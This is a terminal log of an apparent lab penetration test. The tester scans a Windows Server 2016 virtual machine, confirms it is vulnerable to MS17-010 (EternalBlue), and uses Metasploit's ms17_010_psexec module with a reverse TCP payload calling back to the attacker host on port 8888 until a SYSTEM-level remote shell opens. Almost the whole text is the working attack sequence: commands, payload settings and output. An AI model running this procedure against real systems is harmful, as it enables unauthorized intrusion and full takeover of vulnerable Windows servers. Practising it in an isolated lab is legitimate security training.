┌──(root㉿kali)-[~] └─# arp-scan -I eth1 192.168.56.0/24 WARNING: Could not obtain IP address for interface eth1. Using 0.0.0.0 for the source address, which may not be what you want. Either configure eth1 with an IP address, or manually specify the address with the --arpspa option. Interface: eth1, type: EN10MB, MAC: 00:0c:29:96:80:36, IPv4: (none) Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.56.1 0a:00:27:00:00:0e (Unknown: locally administered) 192.168.56.100 08:00:27:47:0e:01 PCS Systemtechnik GmbH 192.168.56.110 08:00:27:b9:61:da PCS Systemtechnik GmbH
3 packets received by filter, 0 packets dropped by kernel Ending arp-scan 1.10.0: 256 hosts scanned in 2.136 seconds (119.85 hosts/sec). 3 responded ┌──(root㉿kali)-[~] └─# nmap -sCV -p- --min-rate 10000 192.168.56.110 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-24 04:04 EDT Stats: 0:00:02 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 12.67% done; ETC: 04:04 (0:00:14 remaining) Nmap scan report for 192.168.56.110 Host is up (0.00081s latency). Not shown: 65531 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open tcpwrapped 135/tcp open tcpwrapped 139/tcp open tcpwrapped 445/tcp open tcpwrapped Windows Server 2016 Standard Evaluation 14393 tcpwrapped
Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'
msf6 > use 24 msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- CHECK_ARCH true no Check for architecture on vulnerable hosts CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts CHECK_PIPE false no Check for named pipe on vulnerable hosts NAMED_PIPES /usr/share/metasploit-framework/data/wordlis yes List of named pipes to check ts/named_pipes.txt RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/ using-metasploit.html RPORT 445 yes The SMB service port (TCP) SMBDomain . no The Windows domain to use for authentication SMBPass no The password for the specified username SMBUser no The username to authenticate as THREADS 1 yes The number of concurrent threads (max one per host)
View the full module info with the info, or info -d command.
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.56.110 rhosts => 192.168.56.110 msf6 auxiliary(scanner/smb/smb_ms17_010) > run [+] 192.168.56.110:445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2016 Standard Evaluation 14393 x64 (64-bit) [*] 192.168.56.110:445 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
扫描后进一步确定存在永恒之蓝漏洞
msf6 auxiliary(scanner/smb/smb_ms17_010) > back msf6 > eternalblue [-] Unknown command: eternalblue. Run the help command for more details. msf6 > search eternalblue
Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'
msf6 > use 0 [*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 445 yes The target port (TCP) SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Win dows Embedded Standard 7 target machines. SMBPass no (Optional) The password for the specified username SMBUser no (Optional) The username to authenticate as VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
msf6 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms17_010_psexec [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.56.110 RHOSTS => 192.168.56.110 msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.56.103 LHOST => 192.168.56.103 msf6 exploit(windows/smb/ms17_010_psexec) > msf6 exploit(windows/smb/ms17_010_psexec) > set LPORT 8888 LPORT => 8888 msf6 exploit(windows/smb/ms17_010_psexec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp msf6 exploit(windows/smb/ms17_010_psexec) > run [*] Started reverse TCP handler on 192.168.56.103:8888 [*] 192.168.56.110:445 - Target OS: Windows Server 2016 Standard Evaluation 14393 [*] 192.168.56.110:445 - Built a write-what-where primitive... [+] 192.168.56.110:445 - Overwrite complete... SYSTEM session obtained! [*] 192.168.56.110:445 - Selecting PowerShell target [*] 192.168.56.110:445 - Executing the payload... [+] 192.168.56.110:445 - Service start timed out, OK if running a command or non-service executable... [*] Exploit completed, but no session was created. msf6 exploit(windows/smb/ms17_010_psexec) > set PAYLOAD windows/x64/shell/reverse_tcp PAYLOAD => windows/x64/shell/reverse_tcp msf6 exploit(windows/smb/ms17_010_psexec) > run [*] Started reverse TCP handler on 192.168.56.103:8888 [*] 192.168.56.110:445 - Target OS: Windows Server 2016 Standard Evaluation 14393 [*] 192.168.56.110:445 - Built a write-what-where primitive... [+] 192.168.56.110:445 - Overwrite complete... SYSTEM session obtained! [*] 192.168.56.110:445 - Selecting PowerShell target [*] 192.168.56.110:445 - Executing the payload... [+] 192.168.56.110:445 - Service start timed out, OK if running a command or non-service executable... [*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/ms17_010_psexec) > show targets
Exploit targets: =================
Id Name -- ---- => 0 Automatic 1 PowerShell 2 Native upload 3 MOF upload
msf6 exploit(windows/smb/ms17_010_psexec) > set target 2 target => 2 msf6 exploit(windows/smb/ms17_010_psexec) > show targets
Exploit targets: =================
Id Name -- ---- 0 Automatic 1 PowerShell => 2 Native upload 3 MOF upload
msf6 exploit(windows/smb/ms17_010_psexec) > run [*] Started reverse TCP handler on 192.168.56.103:8888 [*] 192.168.56.110:445 - Target OS: Windows Server 2016 Standard Evaluation 14393 [*] 192.168.56.110:445 - Built a write-what-where primitive... [+] 192.168.56.110:445 - Overwrite complete... SYSTEM session obtained! [*] 192.168.56.110:445 - Uploading payload... lZPldmxD.exe [*] 192.168.56.110:445 - Created \lZPldmxD.exe... [+] 192.168.56.110:445 - Service started successfully... [*] 192.168.56.110:445 - Deleting \lZPldmxD.exe... [*] Sending stage (336 bytes) to 192.168.56.110 [*] Command shell session 1 opened (192.168.56.103:8888 -> 192.168.56.110:49791) at 2025-07-24 05:07:56 -0400
Shell Banner: Microsoft Windows [Version 10.0.14393] -----
C:\Windows\system32>whoami whoami nt authority\system
